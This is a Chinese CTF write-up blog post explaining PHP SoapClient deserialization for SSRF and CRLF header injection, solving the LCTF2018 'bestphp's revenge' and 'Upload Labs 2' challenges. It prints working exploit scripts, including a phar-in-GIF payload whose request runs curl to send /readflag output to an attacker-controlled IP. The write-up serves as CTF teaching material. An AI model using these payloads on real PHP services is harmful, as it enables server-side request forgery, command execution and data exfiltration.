利用Soap进行SSRF/CSRF

利用Soap进行SSRF/CSRF

Soap

SOAP是webService三要素(SOAP、WSDL、UDDI)之一:

  • WSDL 用来描述如何访问具体的接口。
  • UDDI用来管理,分发,查询webService。
  • SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
    其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

SoapClient

PHP 的 SOAP 扩展可以用来提供和使用 Web Services,这个扩展实现了6个类,其中的SoapClient类是用来创建soap数据报文,与wsdl接口进行交互的,同时这个类下也是有反序列化中常常用到的__call()魔术方法。

构造方法:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

%title插图%num

  • SoapClient是php的原生类。且它有一个__call()魔术方法

因为有原生类所以我们不需要特意的去找pop链,直接利用现成的魔术方法。

我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url,如下

<?php
$a = new SoapClient(null, array('location' => "http://xxx.xxx.xxx",
                                     'uri'      => "123"));
echo serialize($a);
?>

当把上述脚本得到的序列化串进行反序列化(unserialize),并执行一个SoapClient没有的成员函数时,会自动调用该类的__Call方法,然后向target_url发送一个soap请求,并且uri选项是我们可控的地方。

  • SoapClient的第二个参数允许我们自定义User-Agent

因为我们可以自定义UA头,这造成了我们能够在一定条件下能够CSRF

CRLF是”回车 + 换行”(\r\n)的简称,在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来,http header里有一个重要的Content-Type为和Content-Length,而User-Agent的http header位置正好在这些之上,所以可以进行覆盖,当我们能够控制消息头的字符,注入恶意换行,我们就能发送恶意请求。

<?php
$payload = new SoapClient(null,array('user_agent'=>"test\r\nCookie: PHPSESSID=s230f11acvl46e0i4t9msfaen4\r\n
Content-Type: application/x-www-form-urlencoded\r\nContent-Length:45\r\n\r\n
username=admin&password=admin\r\n\r\n\r\n",
    'location'=>$location,
    'uri'=>$uri));

SoapClient用到的是php扩展,需要在php.ini启用三个动态链接库

  • php_soap.dll
  • php_openssl.dll
  • php_curl.dll

bestphp's revenge

源码:

# index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { }
# flag.php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }

反序列化机制

  • 当序列化引擎与反序列化引擎不一致时,会发生一些问题
  • 不同引擎的存储方式:
    • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
    • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
    • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
  • 用php引擎进行序列化:
<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['name'] = 'test';
echo "test_session";
?>

%title插图%num

%title插图%num

可以看到,服务器端保存的session的文件名,就是用户访问时的PHPSESSID再加上前缀。

用php_serialize引擎序列化:

%title插图%num

构造以php_serialize的方式序列化session,再以php的方式反序列化session,即可反序列化内置类soapclient

poc:

<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
    'user_agent' => "AAA:BBBrn" .
        "Cookie:PHPSESSID=dde63k4h9t7c9dfl79np27e912",
    'uri' => "http://127.0.0.1/"));

$se = serialize($b);
echo urlencode($se);

%title插图%num

通过call_user_func函数,设置session_start的引擎为php_serialize,再将我们构造的soap类传入:

%title插图%num

接着我们通过extract方法,变量覆盖原先的$b,使之变为call_user_func,让name=Soapclient,这样Soapclient类会调用一个不存在的方法,从而调用__call函数来触发ssrf,最后只需要修改cookie即可。

因为name=Soapclient后,经过$a = array(reset($_SESSION),'welcome_to_the_lctf2018');$a = {'Soapclient','welcome_to_the_lctf2018'} ,之后调用call_user_func函数,相当于:call_user_func({'Soapclient','welcome_to_the_lctf2018'}),当call_user_func的参数为数组时,代表调用类的方法,而Soapclient类并没有一个叫welcome_to_the_lctf2018的方法,因此会调用call函数,触发SSRF。

Upload Labs 2

#index.php

<?php
include 'class.php';

$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
    // 允许上传的图片后缀
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $tmp_name = $_FILES["file"]["tmp_name"];
    $file_name = $_FILES["file"]["name"];
    $temp = explode(".", $file_name);
    $extension = end($temp);
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
        && in_array($extension, $allowedExts)
    ) {
        $c = new Check($tmp_name);
        $c->check();
        if ($_FILES["file"]["error"] > 0) {
            echo "错误:: " . $_FILES["file"]["error"] . "<br>";
            die();
        } else {
            move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
            echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
        }
    } else {
        echo "非法的文件格式";
    }   
}

index页面就是一个白名单,限制上传的图片后缀和大小

#func.php

<?php
include 'class.php';

if (isset($_POST["submit"]) && isset($_POST["url"])) {
    if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
        die("Go away!");
    }else{
        $file_path = $_POST['url'];
        $file = new File($file_path);
        $file->getMIME();
        echo "<p>Your file type is '$file' </p>";
    }
}
?>

接受url参数,并做了正则过滤,获取你上传的文件的MIME

#class.php

<?php
include 'config.php';

class File{

    public $file_name;
    public $type;
    public $func = "Check";

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }

    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }

    function __toString(){
        return $this->type;
    }

}

class Check{

    public $file_name;

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function check(){
        $data = file_get_contents($this->file_name);
        if (mb_strpos($data, "<?") !== FALSE) {
            die("<? in contents!");
        }
    }
}

两个类,首先File类的__wakeup方法是new了一个反射类,并调用newInstanceArgs方法,该方法的参数将传递到类的构造函数;

Check类就是限制上传文件的内容不能包含<?

%title插图%num

<?php
$a = new ReflectionClass("ReflectionFunction");
$b = $a->newInstanceArgs(array("substr"));
var_dump($b);
?>

<!--class ReflectionFunction#2 (1) {-->
<!--public $name =>-->
<!--string(6) "substr"-->
<!--}-->
#admin.php

<?php
include 'config.php';

class Ad{

    public $ip;
    public $port;

    public $clazz;
    public $func1;
    public $func2;
    public $func3;
    public $instance;
    public $arg1;
    public $arg2;
    public $arg3;

    function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){

        $this->ip = $ip;
        $this->port = $port;
        $this->clazz = $clazz;
        $this->func1 = $func1;
        $this->func2 = $func2;
        $this->func3 = $func3;
        $this->arg1 = $arg1;
        $this->arg2 = $arg2;
        $this->arg3 = $arg3;
    }

    function check(){

        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }

    function __destruct(){
        getFlag($this->ip, $this->port);
        //使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
    }
}

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){

        $ip = $_POST['ip'];     //你用来获取flag的服务器ip
        $port = $_POST['port']; //你用来获取flag的服务器端口
        $clazz = $_POST['clazz'];
        $func1 = $_POST['func1'];
        $func2 = $_POST['func2'];
        $func3 = $_POST['func3'];
        $arg1 = $_POST['arg1'];
        $arg2 = $_POST['arg2'];
        $arg2 = $_POST['arg3'];
        $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        $admin->check();
    }
}
else {
    echo "You r not admin!";
}

admin.php是一个ssrf,通过触发getflag,把flag弹到vps上


大致流程:

  1. 生成phar文件并上传
  2. finfo_file触发反序列化和ssrf
  3. ssrf+CRLF访问admin.php并getshell

这里正则绕过:php://filter/resource=phar://phar.phar

还可以:php://filter/convert.base64-encode/resource=phar://

ssrf: 因为可以实例化任何类,然而题目并没有给什么有用的,可以利用SoapClient

上传内容不能有<?绕过: 结合前面两题的trick<script language="php">__HALT_COMPILER();</script>

触发反序列化:$this->type = finfo_file($finfo, $this->file_name);

因为check函数会在正常逻辑里面调用,所以传的参数要至少保证题目代码不会异常退出.这里我想到Fuzz PHP内置类的方法来找一个不会使PHP fatal error的调用.可惜失败了.后面会贴出来.看到网上题解大致有两个思路,一个是利用SplStack,调用它的push方法,不会使程序fatal error. 另一个思路就是利用`Mysqli` 这个类, 也可以让程序正常运行. 挑一个构造即可.

exp:

<?php
class File{
    public $file_name;
    public $func="SoapClient";
    public function __construct(){
        $payload='admin=1&cmd=curl "http://ip:7777/?a=`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=123456';
        $this->file_name=[null,array('location'=>'http://127.0.0.1/admin.php','user_agent'=>"xxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($payload)."\r\n\r\n".$payload,'uri'=>'abc')];
    }
}
$a=new File();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

%title插图%num

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇